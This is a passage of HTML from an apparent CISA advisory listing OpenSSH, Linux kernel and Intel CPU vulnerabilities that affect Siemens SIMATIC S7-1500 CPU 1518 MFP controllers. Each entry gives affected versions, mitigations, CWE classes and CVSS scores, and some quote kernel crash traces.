<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-28531</a></h3>
<div class="csaf-accordion-content">
<p>ssh-add in OpenSSH before 9.3 adds smartcard keys to ssh-agent without the intended per-hop destination constraints. The earliest affected version is 8.9.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-28531">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/311.html">CWE-311 Missing Encryption of Sensitive Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-51384</a></h3>
<div class="csaf-accordion-content">
<p>In ssh-agent in OpenSSH before 9.6, certain destination constraints can be incompletely applied. When destination constraints are specified during addition of PKCS#11-hosted private keys, these constraints are only applied to the first key, even if a PKCS#11 token returns multiple keys.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-51384">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/304.html">CWE-304 Missing Critical Step in Authentication</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-52927</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: allow exp not to be removed in nf_ct_find_expectation Currently nf_conntrack_in() calling nf_ct_find_expectation() will remove the exp from the hash table. However, in some scenario, we expect the exp not to be removed when the created ct will not be confirmed, like in OVS and TC conntrack in the following patches. This patch allows exp not to be removed by setting IPS_CONFIRMED in the status of the tmpl.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-52927">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-26783</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: fix a bug calling wakeup_kswapd() with a wrong zone index With numa balancing on, when a numa system is running where a numa node doesn't have its local memory so it has no managed zones, the following oops has been observed. It's because wakeup_kswapd() is called with a wrong zone index, -1. Fixed it by checking the index before calling wakeup_kswapd(). &gt; BUG: unable to handle page fault for address: 00000000000033f3 &gt; #PF: supervisor read access in kernel mode &gt; #PF: error_code(0x0000) - not-present page &gt; PGD 0 P4D 0 &gt; Oops: 0000 [#1] PREEMPT SMP NOPTI &gt; CPU: 2 PID: 895 Comm: masim Not tainted 6.6.0-dirty #255 &gt; Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS &gt; rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 &gt; RIP: 0010:wakeup_kswapd (./linux/mm/vmscan.c:7812) &gt; Code: (omitted) &gt; RSP: 0000:ffffc90004257d58 EFLAGS: 00010286 &gt; RAX: ffffffffffffffff RBX: ffff88883fff0480 RCX: 0000000000000003 &gt; RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88883fff0480 &gt; RBP: ffffffffffffffff R08: ff0003ffffffffff R09: ffffffffffffffff &gt; R10: ffff888106c95540 R11: 0000000055555554 R12: 0000000000000003 &gt; R13: 0000000000000000 R14: 0000000000000000 R15: ffff88883fff0940 &gt; FS: 00007fc4b8124740(0000) GS:ffff888827c00000(0000) knlGS:0000000000000000 &gt; CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 &gt; CR2: 00000000000033f3 CR3: 000000026cc08004 CR4: 0000000000770ee0 &gt; DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 &gt; DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 &gt; PKRU: 55555554 &gt; Call Trace: &gt; &gt; ? __die &gt; ? page_fault_oops &gt; ? __pte_offset_map_lock &gt; ? exc_page_fault &gt; ? asm_exc_page_fault &gt; ? wakeup_kswapd &gt; migrate_misplaced_page &gt; __handle_mm_fault &gt; handle_mm_fault &gt; do_user_addr_fault &gt; exc_page_fault &gt; asm_exc_page_fault &gt; RIP: 0033:0x55b897ba0808 &gt; Code: (omitted) &gt; RSP: 002b:00007ffeefa821a0 EFLAGS: 00010287 &gt; RAX: 000055b89983acd0 RBX: 00007ffeefa823f8 RCX: 000055b89983acd0 &gt; RDX: 00007fc2f8122010 RSI: 0000000000020000 RDI: 000055b89983acd0 &gt; RBP: 00007ffeefa821a0 R08: 0000000000000037 R09: 0000000000000075 &gt; R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 &gt; R13: 00007ffeefa82410 R14: 000055b897ba5dd8 R15: 00007fc4b8340000 &gt;</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-26783">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-27056</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: ensure offloading TID queue exists The resume code path assumes that the TX queue for the offloading TID has been configured. At resume time it then tries to sync the write pointer as it may have been updated by the firmware. In the unusual event that no packets have been send on TID 0, the queue will not have been allocated and this causes a crash. Fix this by ensuring the queue exist at suspend time.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-27056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-28956</a></h3>
<div class="csaf-accordion-content">
<p>Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution for some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-28956">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1421.html">CWE-1421 Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-36903</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix potential uninit-value access in __ip6_make_skb() As it was done in commit fc1092f51567 ("ipv4: Fix uninit-value access in __ip_make_skb()") for IPv4, check FLOWI_FLAG_KNOWN_NH on fl6-&gt;flowi6_flags instead of testing HDRINCL on the socket to avoid a race condition which causes uninit-value access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-36903">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-36927</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: Fix uninit-value access in __ip_make_skb() KMSAN reported uninit-value access in __ip_make_skb() [1]. __ip_make_skb() tests HDRINCL to know if the skb has icmphdr. However, HDRINCL can cause a race condition. If calling setsockopt(2) with IP_HDRINCL changes HDRINCL while __ip_make_skb() is running, the function will access icmphdr in the skb even if it is not included. This causes the issue reported by KMSAN. Check FLOWI_FLAG_KNOWN_NH on fl4-&gt;flowi4_flags instead of testing HDRINCL on the socket. Also, fl4-&gt;fl4_icmp_type and fl4-&gt;fl4_icmp_code are not initialized. These are union in struct flowi4 and are implicitly initialized by flowi4_init_output(), but we should not rely on specific union layout. Initialize these explicitly in raw_sendmsg(). [1] BUG: KMSAN: uninit-value in __ip_make_skb+0x2b74/0x2d20 net/ipv4/ip_output.c:1481 __ip_make_skb+0x2b74/0x2d20 net/ipv4/ip_output.c:1481 ip_finish_skb include/net/ip.h:243 [inline] ip_push_pending_frames+0x4c/0x5c0 net/ipv4/ip_output.c:1508 raw_sendmsg+0x2381/0x2690 net/ipv4/raw.c:654 inet_sendmsg+0x27b/0x2a0 net/ipv4/af_inet.c:851 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x274/0x3c0 net/socket.c:745 __sys_sendto+0x62c/0x7b0 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x130/0x200 net/socket.c:2199 do_syscall_64+0xd8/0x1f0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was created at: slab_post_alloc_hook mm/slub.c:3804 [inline] slab_alloc_node mm/slub.c:3845 [inline] kmem_cache_alloc_node+0x5f6/0xc50 mm/slub.c:3888 kmalloc_reserve+0x13c/0x4a0 net/core/skbuff.c:577 __alloc_skb+0x35a/0x7c0 net/core/skbuff.c:668 alloc_skb include/linux/skbuff.h:1318 [inline] __ip_append_data+0x49ab/0x68c0 net/ipv4/ip_output.c:1128 ip_append_data+0x1e7/0x260 net/ipv4/ip_output.c:1365 raw_sendmsg+0x22b1/0x2690 net/ipv4/raw.c:648 inet_sendmsg+0x27b/0x2a0 net/ipv4/af_inet.c:851 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x274/0x3c0 net/socket.c:745 __sys_sendto+0x62c/0x7b0 net/socket.c:2191 __do_sys_sendto net/socket.c:2203 [inline] __se_sys_sendto net/socket.c:2199 [inline] __x64_sys_sendto+0x130/0x200 net/socket.c:2199 do_syscall_64+0xd8/0x1f0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x6d/0x75 CPU: 1 PID: 15709 Comm: syz-executor.7 Not tainted 6.8.0-11567-gb3603fcb79b1 #25 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-1.fc39 04/01/2014</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-36927">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-42079</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: gfs2: Fix NULL pointer dereference in gfs2_log_flush In gfs2_jindex_free(), set sdp-&gt;sd_jdesc to NULL under the log flush lock to provide exclusion against gfs2_log_flush(). In gfs2_log_flush(), check if sdp-&gt;sd_jdesc is non-NULL before dereferencing it. Otherwise, we could run into a NULL pointer dereference when outstanding glock work races with an unmount (glock_work_func -&gt; run_queue -&gt; do_xmote -&gt; inode_go_sync -&gt; gfs2_log_flush).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-42079">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-46786</a></h3>
<div class="csaf-accordion-content">
